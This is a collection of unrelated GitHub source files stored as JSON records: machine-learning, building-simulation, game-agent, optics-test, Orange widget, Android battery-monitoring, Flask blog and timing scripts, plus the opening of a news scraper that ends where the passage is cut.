+{"seq_id":"73323193769","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Sun Dec 13 11:32:29 2020\r\n\r\n@author: leno\r\n\"\"\"\r\n\r\nX_train.shape,X_test.shape,Y_train.shape,Y_test.shape\r\n\r\nW_grid = 4 #width\r\nL_grid = 4 #lenth\r\nfig, axes = plt.subplots(L_grid, W_grid, figsize = (25, 25)) #subplots\r\naxes = axes.ravel()\r\nn_training = len(X_train)\r\nfor i in np.arange(0, L_grid * W_grid):\r\n index = np.random.randint(0, n_training) # pick a random number\r\n axes[i].imshow(X_train[index])\r\n axes[i].set_title(Y_train[index])\r\n axes[i].axis('off')\r\nplt.subplots_adjust(hspace = 0.4) #hspace indicates the space between the height of the images\r\n\r\nopt = Adam(lr=INIT_LR, decay=INIT_LR / EPOCHS)\r\nmodel.compile(loss=\"binary_crossentropy\", optimizer=opt,metrics=[\"accuracy\"])\r\nprint(\"Compiling Starts\")\r\nR = model.fit_generator(\r\n trainAug.flow(X_train, Y_train, batch_size=BS),\r\n steps_per_epoch=len(X_train) // BS,\r\n validation_data=(X_test, Y_test),\r\n validation_steps=len(X_test) // BS,\r\n epochs=EPOCHS)\r\n","repo_name":"SiddharthKalla/Hack-Off","sub_path":"train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":988,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"31369089376","text":"import copy\nfrom typing import List\nimport epmodel\nimport epmodel.epmodel as epm\nfrom frads.window import GlazingSystem\n\n\nclass EnergyPlusModel(epmodel.EnergyPlusModel):\n \"\"\"EnergyPlus Model object\n\n Attributes:\n walls_window: list of walls with windows\n floors: list of floors\n lighting_zone: list of lighting zones\n zones: list of zones\n \"\"\"\n\n @property\n def window_walls(self) -> List[str]:\n \"\"\"Get list of walls with windows.\"\"\"\n if self.fenestration_surface_detailed is None:\n return []\n wndo_walls = {\n srf.building_surface_name\n for srf in self.fenestration_surface_detailed.values()\n }\n return list(wndo_walls)\n\n @property\n def floors(self):\n \"\"\"Get all of the floor names.\"\"\"\n floors = []\n if self.building_surface_detailed is None:\n return []\n for k, v in self.building_surface_detailed.items():\n if v.surface_type == epm.SurfaceType.floor:\n floors.append(k)\n return floors\n\n def add_glazing_system(self, glzsys: GlazingSystem):\n \"\"\"Add glazing system to EnergyPlusModel's epjs dictionary.\n\n Args:\n glzsys: GlazingSystem object\n\n Raises:\n ValueError: If solar and photopic results are not computed.\n\n Examples:\n >>> model = load_energyplus_model(Path(\"model.idf\"))\n >>> model.add_glazing_system(glazing_system1)\n \"\"\"\n\n name = glzsys.name\n gap_inputs = []\n for i, gap in enumerate(glzsys.gaps):\n gap_inputs.append(\n epmodel.ConstructionComplexFenestrationStateGapInput(\n gas=gap.gas[0].gas.capitalize(), thickness=gap.thickness\n )\n )\n layer_inputs: List[epmodel.ConstructionComplexFenestrationStateLayerInput] = []\n for i, layer in enumerate(glzsys.layers):\n layer_inputs.append(\n epmodel.ConstructionComplexFenestrationStateLayerInput(\n name=f\"{glzsys.name}_layer_{i}\",\n product_type=layer.product_type,\n thickness=layer.thickness,\n conductivity=layer.conductivity,\n emissivity_front=layer.emissivity_front,\n emissivity_back=layer.emissivity_back,\n infrared_transmittance=layer.ir_transmittance,\n directional_absorptance_front=glzsys.solar_front_absorptance[i],\n directional_absorptance_back=glzsys.solar_back_absorptance[i],\n )\n )\n input = epmodel.ConstructionComplexFenestrationStateInput(\n gaps=gap_inputs,\n layers=layer_inputs,\n solar_reflectance_back=glzsys.solar_back_reflectance,\n solar_transmittance_back=glzsys.solar_back_transmittance,\n visible_transmittance_back=glzsys.visible_back_reflectance,\n visible_transmittance_front=glzsys.visible_front_transmittance,\n )\n self.add_construction_complex_fenestration_state(name, input)\n\n def add_lighting(self, zone: str, replace: bool = False):\n \"\"\"Add lighting object to EnergyPlusModel's epjs dictionary.\n\n Args:\n zone: Zone name to add lighting to.\n replace: If True, replace existing lighting object in zone.\n\n Raises:\n ValueError: If zone not found in model.\n ValueError: If lighting already exists in zone and replace is False.\n\n Examples:\n >>> model.add_lighting(\"Zone1\")\n \"\"\"\n if self.zone is None:\n raise ValueError(\"Zone not found in model.\")\n if zone not in self.zone:\n raise ValueError(f\"{zone} not found in model.\")\n if self.lights is None:\n raise ValueError(\"Lights not found in model.\")\n dict2 = copy.deepcopy(self.lights)\n\n if self.lights is not None:\n for k, v in dict2.items():\n if v.zone_or_zonelist_or_space_or_spacelist_name == zone:\n if replace:\n del self.lights[k]\n else:\n raise ValueError(\n f\"Lighting already exists in zone = {zone}. \"\n \"To replace, set replace=True.\"\n )\n\n # Add lighting schedule type limit to epjs dictionary\n self.add(\n \"schedule_type_limits\",\n \"on_off\",\n epm.ScheduleTypeLimits(\n lower_limit_value=0,\n upper_limit_value=1,\n numeric_type=epm.NumericType.discrete,\n unit_type=epm.UnitType.availability,\n ),\n )\n\n # Add lighting schedule to epjs dictionary\n self.add(\n \"schedule_constant\",\n \"constant_off\",\n epm.ScheduleConstant(\n schedule_type_limits_name=\"on_off\",\n hourly_value=0,\n ),\n )\n\n # Add lighting to epjs dictionary\n self.add(\n \"lights\",\n zone,\n epm.Lights(\n design_level_calculation_method=epm.DesignLevelCalculationMethod.lighting_level,\n fraction_radiant=0,\n fraction_replaceable=1,\n fraction_visible=1,\n lighting_level=0,\n return_air_fraction=0,\n schedule_name=\"constant_off\",\n zone_or_zonelist_or_space_or_spacelist_name=zone,\n ),\n )\n\n def add_output(\n self, output_type: str, output_name: str, reporting_frequency: str = \"Timestep\"\n ):\n \"\"\"Add an output variable or meter to the epjs dictionary.\n\n Args:\n output_type: Type of the output. \"variable\" or \"meter\".\n output_name: Name of the output variable or meter.\n reporting_frequency: Reporting frequency of the output variable or meter.\n\n Raises:\n ValueError: If output_type is not \"variable\" or \"meter\".\n\n Examples:\n >>> model.add_output(\"Zone Mean Air Temperature\", \"variable\")\n >>> model.add_output(\"Cooling:Electricity\", \"meter\")\n \"\"\"\n\n if output_type == \"variable\":\n self._add_output_variable(output_name, reporting_frequency)\n elif output_type == \"meter\":\n self._add_output_meter(output_name, reporting_frequency)\n else:\n raise ValueError(\"output_type must be 'variable' or 'meter'.\")\n\n def _add_output_variable(self, output_name: str, reporting_frequency):\n \"\"\"Add an output variable to the epjs dictionary.\n\n Args:\n output_name: Name of the output variable.\n reporting_frequency: Reporting frequency of the output variable.\n \"\"\"\n i = 1\n if self.output_variable is None:\n self.output_variable = {}\n for output in self.output_variable.values():\n i += 1\n if output.variable_name == output_name:\n break\n else:\n self.output_variable[f\"Output:Variable {i}\"] = epm.OutputVariable(\n key_value=\"*\",\n reporting_frequency=reporting_frequency,\n variable_name=output_name,\n )\n\n def _add_output_meter(self, output_name: str, reporting_frequency):\n \"\"\"Add an output meter to the epjs dictionary.\n\n Args:\n output_name: Name of the output meter.\n reporting_frequency: Reporting frequency of the output meter.\n \"\"\"\n i = 1\n if self.output_meter is None:\n self.output_meter = {}\n for output in self.output_meter.values():\n i += 1\n if output.key_name == output_name:\n break\n else:\n self.output_meter[f\"Output:Meter {i}\"] = epm.OutputMeter(\n key_name=output_name,\n reporting_frequency=reporting_frequency,\n )\n","repo_name":"LBNL-ETA/frads","sub_path":"frads/eplus_model.py","file_name":"eplus_model.py","file_ext":"py","file_size_in_byte":8039,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"53"}
+{"seq_id":"32590782464","text":"import random\nfrom typing import Union\n\nfrom poke_env.environment.abstract_battle import AbstractBattle\nfrom poke_env.environment.battle import Battle\nfrom poke_env.environment.double_battle import DoubleBattle\nfrom poke_env.environment.move import Move\nfrom poke_env.environment.pokemon import Pokemon\nfrom poke_env.player.battle_order import BattleOrder\nfrom poke_env.player.battle_order import DefaultBattleOrder\n\n\nclass BaseScripted:\n def __init__(self, tag: str):\n self.tag = tag\n\n def choose_random_move(self, battle: AbstractBattle) -> BattleOrder:\n \"\"\"Chooses a random move from the four moves the pokemon knows, or one of the available\n pokemon to switch to.\n\n Parameters\n ----------\n battle: AbstractBattle\n The raw battle from the environment.\n\n Returns\n -------\n BattleOrder\n The order the agent wants to take, converted into a form readable by the environment.\n \"\"\"\n if isinstance(battle, Battle):\n return self.choose_random_singles_move(battle)\n else:\n raise ValueError(\n \"battle should be Battle or DoubleBattle. Received %d\" % (type(battle))\n )\n\n @staticmethod\n def choose_random_singles_move(battle: Battle) -> BattleOrder:\n \"\"\"Helps choose a random move, ignoring Z moves, mega-evolution, and dynamaxing.\n\n Parameters\n ----------\n battle: Battle\n The raw battle from the environment.\n\n Returns\n -------\n BattleOrder\n The order the agent wants to take, converted into a form readable by the environment.\n \"\"\"\n available_orders = [BattleOrder(move) for move in battle.available_moves]\n available_orders.extend(\n [BattleOrder(switch) for switch in battle.available_switches]\n )\n\n if available_orders:\n return available_orders[int(random.random() * len(available_orders))]\n else:\n return DefaultBattleOrder()\n\n @staticmethod\n def create_order(\n order: Union[Move, Pokemon],\n mega: bool = False,\n z_move: bool = False,\n dynamax: bool = False,\n move_target: int = DoubleBattle.EMPTY_TARGET_POSITION,\n ) -> BattleOrder:\n \"\"\"Formats an move order corresponding to the provided pokemon or move.\n\n Parameters\n ----------\n order: Union[Move, Pokemon]\n Move to make or Pokemon to switch to.\n mega: bool\n Whether to mega evolve the pokemon, if a move is chosen.\n z_move: bool\n Whether to make a zmove, if a move is chosen.\n dynamax: bool\n Whether to dynamax, if a move is chosen.\n move_target: int\n Target Pokemon slot of a given move.\n\n Returns\n -------\n BattleOrder\n The order the agent wants to take, converted into a form readable by the environment.\n \"\"\"\n return BattleOrder(\n order, mega=mega, move_target=move_target, z_move=z_move, dynamax=dynamax\n )\n","repo_name":"alex-nooj/champion_league","sub_path":"champion_league/agent/scripted/base_scripted.py","file_name":"base_scripted.py","file_ext":"py","file_size_in_byte":3095,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"53"}
+{"seq_id":"8831435373","text":"import unittest\nimport strapy as ts\nimport numpy as np\n\n\nclass TestMirror(unittest.TestCase):\n def test_ideal(self):\n \"\"\"Test that 45° polarised light reflected off of an ideal mirror\n results in the same amplitude of 45° polarised light being returned.\n \"\"\"\n\n model = ts.Model()\n model.wavelength = 633e-9\n\n model.add_component(ts.components.Source, 'laser', 'n0')\n model.add_component(ts.components.Mirror, 'mirror', 'n1')\n\n model.add_component(ts.components.Stack, 'stack', ('n0', 'n1'))\n\n model.add_detector('out', 'n0', ('amplitude'))\n\n model.components['laser'].amplitude[0] = 1 / np.sqrt(2)\n model.components['laser'].amplitude[1] = 1 / np.sqrt(2)\n\n model.components['mirror'].rP = 1\n model.components['mirror'].rS = 1\n\n model.build()\n model.evaluate()\n\n self.assertAlmostEqual(model.detectors['out'].amplitudes[2],\n -1 / np.sqrt(2))\n self.assertAlmostEqual(model.detectors['out'].amplitudes[3],\n -1 / np.sqrt(2))\n\n def test_90_perc(self):\n \"\"\"Test that S polarised light reflected off of a mirror with 90%\n reflectivity results in 90% of the input intensity being returned.\n \"\"\"\n\n model = ts.Model()\n model.wavelength = 633e-9\n\n model.add_component(ts.components.Source, 'laser', 'n0')\n model.add_component(ts.components.Mirror, 'mirror', 'n1')\n\n model.add_component(ts.components.Stack, 'stack', ('n0', 'n1'))\n\n model.add_detector('out', 'n0', ('amplitude', 'intensity'))\n\n model.components['laser'].amplitude[0] = 0\n model.components['laser'].amplitude[1] = 1\n\n model.components['mirror'].rP = np.sqrt(0.9)\n model.components['mirror'].rS = np.sqrt(0.9)\n\n model.build()\n model.evaluate()\n\n # 1 + 0.9 as intensity detector monitors light propagating in both\n # directions.\n self.assertAlmostEqual(model.detectors['out'].intensity,\n 1 + 0.9)\n\n\nif __name__ == '__main__':\n unittest.main()\n","repo_name":"strapy-project/strapy","sub_path":"test/test_mirror.py","file_name":"test_mirror.py","file_ext":"py","file_size_in_byte":2141,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"53"}
+{"seq_id":"43098186018","text":"from datetime import datetime\nfrom enum import Enum\nfrom itertools import chain\nfrom numbers import Number\nfrom collections import defaultdict\n\nimport numpy as np\n\nfrom PyQt4.QtGui import QListView, QItemSelectionModel\n\nfrom Orange.data import Table, Domain, TimeVariable\nfrom Orange.widgets import widget, gui, settings\nfrom Orange.widgets.highcharts import Highchart\nfrom Orange.widgets.utils.colorpalette import GradientPaletteGenerator\nfrom Orange.widgets.utils.itemmodels import VariableListModel\n\nfrom orangecontrib.timeseries.widgets.utils import ListModel\nfrom orangecontrib.timeseries import Timeseries\nfrom orangecontrib.timeseries.agg_funcs import AGG_FUNCTIONS, Mode\n\n\nclass Spiralogram(Highchart):\n \"\"\"\n A radial heatmap.\n\n Fiddle with it: https://jsfiddle.net/4v87fo2q/5/\n https://jsfiddle.net/avxg2za9/1/\n \"\"\"\n\n class AxesCategories(Enum):\n YEARS = ('', lambda d: d.year)\n MONTHS = ('', lambda d: d.month)\n DAYS = ('', lambda d: d.day)\n MONTHS_OF_YEAR = (tuple(range(1, 13)), lambda d: d.month)\n DAYS_OF_WEEK = (tuple(range(0, 7)), lambda d: d.weekday())\n DAYS_OF_MONTH = (tuple(range(1, 32)), lambda d: d.day)\n DAYS_OF_YEAR = (tuple(range(1, 367)), lambda d: d.timetuple().tm_yday)\n WEEKS_OF_YEAR = (tuple(range(1, 54)), lambda d: d.isocalendar()[1])\n WEEKS_OF_MONTH = (tuple(range(1, 6)), lambda d: int(np.ceil((d.day + d.replace(day=1).weekday()) / 7)))\n HOURS_OF_DAY = (tuple(range(24)), lambda d: d.hour)\n MINUTES_OF_HOUR = (tuple(range(60)), lambda d: d.minute)\n\n @staticmethod\n def month_name(month):\n return ('January', 'February', 'March', 'April', 'May', 'June',\n 'July', 'August', 'September', 'October', 'November', 'December')[month - 1]\n\n @staticmethod\n def weekday_name(weekday):\n return ('Monday', 'Tuesday', 'Wednesday', 'Thursday', 'Friday', 'Saturday', 'Sunday')[weekday]\n\n @classmethod\n def name_it(cls, dim):\n if dim == cls.MONTHS_OF_YEAR:\n return lambda val: cls.month_name(val)\n if dim == cls.DAYS_OF_WEEK:\n return lambda val: cls.weekday_name(val)\n return lambda val: val\n\n def setSeries(self, timeseries, attr, xdim, ydim, fagg):\n if timeseries is None or not attr:\n self.clear()\n return\n # TODO: support discrete variables\n if isinstance(xdim, str) and xdim.isdigit():\n xdim = [str(i) for i in range(1, int(xdim) + 1)]\n if isinstance(ydim, str) and ydim.isdigit():\n ydim = [str(i) for i in range(1, int(ydim) + 1)]\n\n xvals, xfunc = xdim.value\n yvals, yfunc = ydim.value\n\n values = Timeseries(Domain([], [], attr, source=timeseries.domain), timeseries).metas\n time_values = timeseries.get_column_view(timeseries.time_variable)[0]\n\n if True:\n fromtimestamp = datetime.fromtimestamp\n time_values = [fromtimestamp(i) for i in time_values]\n\n if not yvals:\n yvals = sorted(set(yfunc(i) for i in time_values))\n if not xvals:\n xvals = sorted(set(xfunc(i) for i in time_values))\n\n indices = defaultdict(list)\n for i, tval in enumerate(time_values):\n indices[(xfunc(tval), yfunc(tval))].append(i)\n\n series = []\n aggvals = []\n self.indices = []\n xname = self.AxesCategories.name_it(xdim)\n yname = self.AxesCategories.name_it(ydim)\n for yval in yvals:\n data = []\n series.append(dict(name=yname(yval), data=data))\n self.indices.append([])\n for xval in xvals:\n inds = indices.get((xval, yval), ())\n self.indices[-1].append(inds)\n point = dict(y=1)\n data.append(point)\n if inds:\n try:\n aggval = np.round(fagg(values[inds]), 4)\n except ValueError:\n aggval = np.nan\n else:\n aggval = np.nan\n if np.isnan(aggval):\n aggval = 'N/A'\n point['select'] = ''\n point['color'] = 'white'\n else:\n aggvals.append(aggval)\n point['n'] = aggval\n\n # TODO: allow scaling over just rows or cols instead of all values as currently\n try:\n maxval, minval = np.max(aggvals), np.min(aggvals)\n except ValueError:\n self.clear()\n return\n ptpval = maxval - minval\n color = GradientPaletteGenerator('#ffcccc', '#cc0000')\n selected_color = GradientPaletteGenerator('#ccffcc', '#006600')\n for serie in series:\n for point in serie['data']:\n n = point['n']\n if isinstance(n, Number):\n val = (n - minval) / ptpval\n point['color'] = color[val]\n point['states'] = dict(select=dict(color=selected_color[val]))\n\n # TODO: make a white hole in the middle. Center w/o data.\n self.chart(series=series,\n xAxis_categories=[xname(i) for i in xvals],\n yAxis_categories=[yname(i) for i in reversed(yvals)])\n\n def selection_indices(self, indices):\n result = []\n for i, inds in enumerate(indices):\n if len(inds):\n for j in inds:\n result.append(self.indices[i][j])\n return sorted(chain.from_iterable(result))\n\n OPTIONS = dict(\n chart=dict(\n type='column',\n polar=True,\n panning=False, # Fixes: https://github.com/highcharts/highcharts/issues/5240\n ),\n legend=dict(\n enabled=False, # FIXME: Have a heatmap-style legend\n ),\n xAxis=dict(\n gridLineWidth=0,\n showLastLabel=False,\n # categories=None, # Override this\n ),\n yAxis=dict(\n gridLineWidth=0,\n endOnTick=False,\n showLastLabel=False,\n # categories=None, # Override this\n labels=dict(\n y=0,\n align='center',\n style=dict(\n color='black',\n fontWeight='bold',\n textShadow=('2px 2px 1px white, -2px 2px 1px white,'\n '2px -2px 1px white, -2px -2px 1px white'),\n ),\n ),\n ),\n plotOptions=dict(\n column=dict(\n colorByPoint=True,\n stacking='normal',\n pointPadding=0,\n groupPadding=0,\n borderWidth=2,\n pointPlacement='on',\n allowPointSelect=True,\n tooltip=dict(\n headerFormat=('\\u25A0 '\n '{series.name}, {point.key}:'),\n pointFormat=' {point.n} ',\n ),\n states=dict(\n select=dict(\n borderColor=None, # Revert Orange's theme\n )\n )\n )\n ),\n tooltip=dict(\n shared=False,\n\n )\n # series=[] # Override this\n )\n\n def __init__(self, parent, *args, **kwargs):\n # TODO: Add colorAxes (heatmap legend)\n super().__init__(parent, *args,\n options=self.OPTIONS,\n enable_select='+', # TODO: implement mouse-drag select\n **kwargs)\n self.indices = {}\n\n\ndef _enum_str(enum_value, inverse=False):\n if inverse:\n return enum_value.replace(' ', '_').upper()\n return enum_value.name.replace('_', ' ').lower()\n\n\nclass OWSpiralogram(widget.OWWidget):\n name = 'Spiralogram'\n description = \"Visualize time series' periodicity in a spiral heatmap.\"\n icon = 'icons/Spiralogram.svg'\n priority = 120\n\n inputs = [(\"Time series\", Table, 'set_data')]\n outputs = [(\"Time series\", Timeseries)]\n\n settingsHandler = settings.DomainContextHandler()\n\n ax1 = settings.ContextSetting('months of year')\n ax2 = settings.ContextSetting('years')\n agg_attr = settings.ContextSetting([])\n agg_func = settings.ContextSetting(0)\n\n def __init__(self):\n self.data = None\n self.indices = []\n box = gui.vBox(self.controlArea, 'Axes')\n self.combo_ax2 = gui.comboBox(\n box, self, 'ax2', label='Y axis:', callback=self.replot,\n sendSelectedValue=True, orientation='horizontal')\n self.combo_ax1 = gui.comboBox(\n box, self, 'ax1', label='Radial:', callback=self.replot,\n sendSelectedValue=True, orientation='horizontal')\n box = gui.vBox(self.controlArea, 'Aggregation')\n self.combo_func = gui.comboBox(\n box, self, 'agg_func', label='Function:', orientation='horizontal',\n callback=self.replot)\n func_model = ListModel(AGG_FUNCTIONS, parent=self)\n self.combo_func.setModel(func_model)\n\n self.attrlist_model = VariableListModel(parent=self)\n self.attrlist = QListView(selectionMode=QListView.ExtendedSelection)\n self.attrlist.setModel(self.attrlist_model)\n self.attrlist.selectionModel().selectionChanged.connect(\n self.attrlist_selectionChanged)\n box.layout().addWidget(self.attrlist)\n gui.rubber(self.controlArea)\n self.chart = chart = Spiralogram(self,\n selection_callback=self.on_selection)\n self.mainArea.layout().addWidget(chart)\n\n def attrlist_selectionChanged(self):\n self.agg_attr = [self.attrlist_model[i.row()]\n for i in self.attrlist.selectionModel().selectedIndexes()]\n self.replot()\n\n def set_data(self, data):\n self.data = data = None if data is None else Timeseries.from_data_table(data)\n\n def init_combos():\n for combo in (self.combo_ax1, self.combo_ax2):\n combo.clear()\n newmodel = []\n for i in Spiralogram.AxesCategories:\n for combo in (self.combo_ax1, self.combo_ax2):\n combo.addItem(_enum_str(i))\n for var in data.domain if data is not None else []:\n if (var.is_primitive() and\n (var is not data.time_variable or\n isinstance(var, TimeVariable) and data.time_delta is None)):\n newmodel.append(var)\n if var.is_discrete:\n for combo in (self.combo_ax1, self.combo_ax2):\n combo.addItem(gui.attributeIconDict[var], var.name)\n self.attrlist_model.wrap(newmodel)\n\n init_combos()\n self.chart.clear()\n\n if data is None:\n self.commit()\n return\n\n self.closeContext()\n self.ax1 = 'months of year'\n self.ax2 = 'years'\n self.agg_attr = [data.domain[0]] if len(data.domain) else []\n self.agg_func = 0\n self.openContext(data.domain)\n\n if self.agg_attr:\n self.attrlist.blockSignals(True)\n self.attrlist.selectionModel().clear()\n for attr in self.agg_attr:\n try:\n row = self.attrlist_model.indexOf(attr)\n except ValueError:\n continue\n self.attrlist.selectionModel().select(\n self.attrlist_model.index(row),\n QItemSelectionModel.SelectCurrent)\n self.attrlist.blockSignals(False)\n\n self.replot()\n\n def replot(self):\n vars = self.agg_attr\n func = AGG_FUNCTIONS[self.agg_func]\n # TODO test discrete\n if any(var.is_discrete for var in vars) and func != Mode:\n self.combo_func.setCurrentIndex(AGG_FUNCTIONS.index(Mode))\n func = Mode\n try:\n ax1 = Spiralogram.AxesCategories[_enum_str(self.ax1, True)]\n except KeyError:\n ax1 = self.data.domain[self.ax1]\n # TODO: Allow having only a sinle (i.e. radial) axis\n try:\n ax2 = Spiralogram.AxesCategories[_enum_str(self.ax2, True)]\n except KeyError:\n ax2 = self.data.domain[self.ax2]\n self.chart.setSeries(self.data, vars, ax1, ax2, func)\n\n def on_selection(self, indices):\n self.indices = self.chart.selection_indices(indices)\n self.commit()\n\n def commit(self):\n self.send('Time series', self.data[self.indices] if self.data else None)\n\n\nif __name__ == \"__main__\":\n from PyQt4.QtGui import QApplication\n\n a = QApplication([])\n ow = OWSpiralogram()\n ow.set_data(Timeseries('autoroute'))\n\n ow.show()\n a.exec()\n","repo_name":"yofayed/orange3-timeseries","sub_path":"orangecontrib/timeseries/widgets/owspiralogram.py","file_name":"owspiralogram.py","file_ext":"py","file_size_in_byte":12983,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"53"}
+{"seq_id":"70046253607","text":"import random\nz = 0\nx = 0\n\nwhile z != 21:\n z = 0\n nums = []\n for i in range(4):\n x = random.randint(1,6)\n nums.append(x)\n z += x\n\nprint(nums, \" = \", z)","repo_name":"joaow12/teste-mercado-livre","sub_path":"teste.py","file_name":"teste.py","file_ext":"py","file_size_in_byte":181,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"18289556066","text":"import csv\nimport os\nimport time\n'''\n测试步骤\n1、usb连接adb\n2、清除设备上电量历史记录\n adb shell dumpsys batterystats --enable full-wake-history\n3、重置电量信息\n adb shell dumpsys batterystats --reset\n4、以wifi网络连接adb\n adb tcpip 5555\n adb connect 手机ip:5555\n5、安装客户端apk\n6、安装后检查客户端进程是否启动,启动则下一步,未启动则先启动\n7、查看设备uid(如:u0_a345,去除下划线则为uid)\n adb shell ps |grep \n8、控制台检查应用的电量消耗信息\n adb shell dumpsys batterystats com.maiya.xiangyu |grep uid\n9、运行python脚本\n10、将客户端所有授权全部允许并放置后台运行\n11、打开快手app、查看视频\n12、统计2小时电量数据,结束后把 battery.csv发我\n13、结束后断开wifi模式下adb\n adb disconnect 172.21.17.163:5555\n\nps:该脚本也可用来测试cpu、memory等性能数据\n'''\n\n# 监控CPU资源信息\nclass MonitoringCPUResources(object):\n def __init__(self, count):\n self.counter = count\n self.alldata = [(\"timestamp\", \"powerconsumption(mAh)\")]\n\n # 单次执行监控过程\n def monitoring(self):\n # result = os.popen(\"adb shell dumpsys meminfo | findstr com.maiya.xiangyu\")\n result = os.popen(\"adb shell dumpsys batterystats com.maiya.xiangyu|findstr u0a135\")\n # cpuinfo\\battery\\gfxinfo(帧率)\\batterystats(耗电)\n # 不同指标的数据采集需要注意更改提取的数据样式\n # cpuvalue = result.readline().split(\":\")[1].strip()\n battery_value = result.readline().split()[2].strip()\n currenttime = self.getCurrentTime()\n print(currenttime, battery_value)\n self.alldata.append([currenttime, battery_value])\n\n # 多次执行监控过程\n def run(self):\n while self.counter > 0:\n self.monitoring()\n self.counter = self.counter - 1\n time.sleep(60)\n\n # 获取当前的时间戳\n def getCurrentTime(self):\n currentTime = time.strftime(\"%H:%M:%S\", time.localtime())\n return currentTime\n\n # 数据的存储\n def SaveDataToCSV(self):\n csvfile = open('Battery.csv', mode='w')\n writer = csv.writer(csvfile)\n writer.writerows(self.alldata)\n csvfile.close()\n\n\nif __name__ == \"__main__\":\n monitoringCPUResources = MonitoringCPUResources(120)\n monitoringCPUResources.run()\n monitoringCPUResources.SaveDataToCSV()\n\n","repo_name":"feichouchou/AutoTestXyz","sub_path":"testtools/testAndroidSpecial.py","file_name":"testAndroidSpecial.py","file_ext":"py","file_size_in_byte":2498,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"21148038944","text":"from flask import Flask, render_template, redirect, session, url_for, request\nfrom flask_sqlalchemy import SQLAlchemy\n\napp = Flask(__name__)\napp.config['DEBUG'] = True\napp.secret_key = 'random string'\napp.config['SQLALCHEMY_DATABASE_URI'] = 'mysql+pymysql://build-a-blog:buildablog@localhost:8889/build-a-blog'\napp.config['SQLALCHEMY_ECHO'] = True\ndb = SQLAlchemy(app)\n\n\n#Add MySQL server connection statement with id and password.\n\n\nclass Blog(db.Model):\n\tid = db.Column(db.Integer, primary_key = True)\n\ttitle = db.Column(db.String(120))\n\tcontent = db.Column(db.String(500))\n #created = db.DateTimeProperty(auto_now_add = True)## oj add 10/11 11:38pm\n \n\n\tdef __init__(self, title, content):\n\t\tself.title = title\n\t\tself.content = content\n\n@app.route('/', methods = ['POST', 'GET'])\ndef index():\n return redirect('/blog')\n\n@app.route('/blog', methods =['POST', 'GET'])\ndef blog():\n \n blog_id = request.args.get('id')\n\n if not blog_id : \n posts = Blog.query.all()\n return render_template('blog.html', title = 'Build a Blog', posts = posts)\n else:\n added_blog = Blog.query.get(blog_id)\n return render_template('individual.html', title = added_blog.title, blog_content=added_blog.content)\n\n@app.route('/newpost', methods =['POST', 'GET'])\ndef newpost():\n\n return render_template('newpost.html', title = 'Add a Blog Entry', blog_title = '', blog_content ='', title_error ='', newBlog_error ='')\n\n\n@app.route('/add_blog', methods =['POST', 'GET'])\ndef add_blog():\n title_error = ''\n newBlog_error = ''\n\n if request.method == 'POST':\n blog_title = request.form['blog_title']\n blog_content = request.form['blog_content']\n #Create error variables.\n \n \n if blog_title == '' :\n title_error = \"Please fill in the title.\"\n \n if blog_content == '' :\n newBlog_error = \"Please fill in the body.\"\n \n if title_error != '' or newBlog_error !='':\n\n return render_template('newpost.html', title = 'Add a Blog Entry', title_error = title_error, newBlog_error = newBlog_error)\n \n else:\n new_post = Blog(blog_title, blog_content)\n db.session.add(new_post)\n db.session.commit()\n\n \n return redirect('/blog?id=' +str(new_post.id))\n\n \n\nif __name__ == '__main__':\n app.run() ","repo_name":"creativeoj/build-a-blog","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2311,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"984791555","text":"import time\n\n\"\"\"\nThis program was used to evaluate how often i could check conditions in the main 'while' loop\n\"\"\"\n\nif __name__ == '__main__':\n print('Program is starting ... ')\n print(\"frequency demo : type 1\")\n print(\".\" * 10)\n periods_to_check = [0.05, 0.01, 0.005] # [5, 2, 1, 0.5, 0.25, 0.2, 0.15, 0.10, 0.05]\n n_checks = 10\n for period in periods_to_check:\n avg_time = 0\n for n in range(n_checks):\n check_time = time.time()\n time.sleep(period)\n avg_time += time.time() - check_time\n avg_time = avg_time / n_checks\n print(\"-\" * 3)\n print(\"average time for period of {}s : {}s.\\n deviation of {}s\".format(period, avg_time, avg_time - period))\n\n print(\".\" * 10)\n print(\"frequency demo : type 2\")\n print(\".\" * 10)\n for period in periods_to_check:\n avg_time = 0\n for n in range(n_checks):\n check_time = time.time()\n while time.time() - check_time <= period:\n pass\n avg_time += time.time() - check_time\n avg_time = avg_time / n_checks\n print(\"-\" * 3)\n print(\"average time for period of {}s : {}s.\\ndeviation of {}s\".format(period, avg_time, avg_time - period))\n","repo_name":"Project-Repositories/BSC_Proj_IoRT","sub_path":"Robot Controller code/Demos/frequency_demo.py","file_name":"frequency_demo.py","file_ext":"py","file_size_in_byte":1242,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"53"}
+{"seq_id":"34100372741","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon Feb 25 16:32:56 2019\n\n@author: ubuntu\n\"\"\"\n# =============================================================================\n# \n# =============================================================================\n\nimport sys\nsys.path.insert(0, '/home/ubuntu/Desktop/News_Output_Test/Code')\nimport api\nimport ZeeNewsSearcher\n\n# =============================================================================\n# Importing library\n# =============================================================================\n\nfrom bs4 import BeautifulSoup as soup\nfrom urllib.request import urlopen, Request\nimport re\nimport time\nfrom selenium import webdriver\nimport json\nimport random\nfrom fake_useragent import UserAgent\n\ngeckodriver = '/home/ubuntu/Desktop/News_Output_Test/geckodriver/geckodriver'\ncount = 1\nTotal = 0\nPrevLimit = 0\nArticlesList = []\n\n# =============================================================================\n# Defining the scrapped class and defualt ardguments\n# =============================================================================\n\ndef Scrapper(url, \n name = \"not available\", \n title = \"not available\", \n author = \"not available\", \n urlToImage = \"not available\",\n publishedAt = \"not available\",\n userAgent = UserAgent()):\n\n webpage = 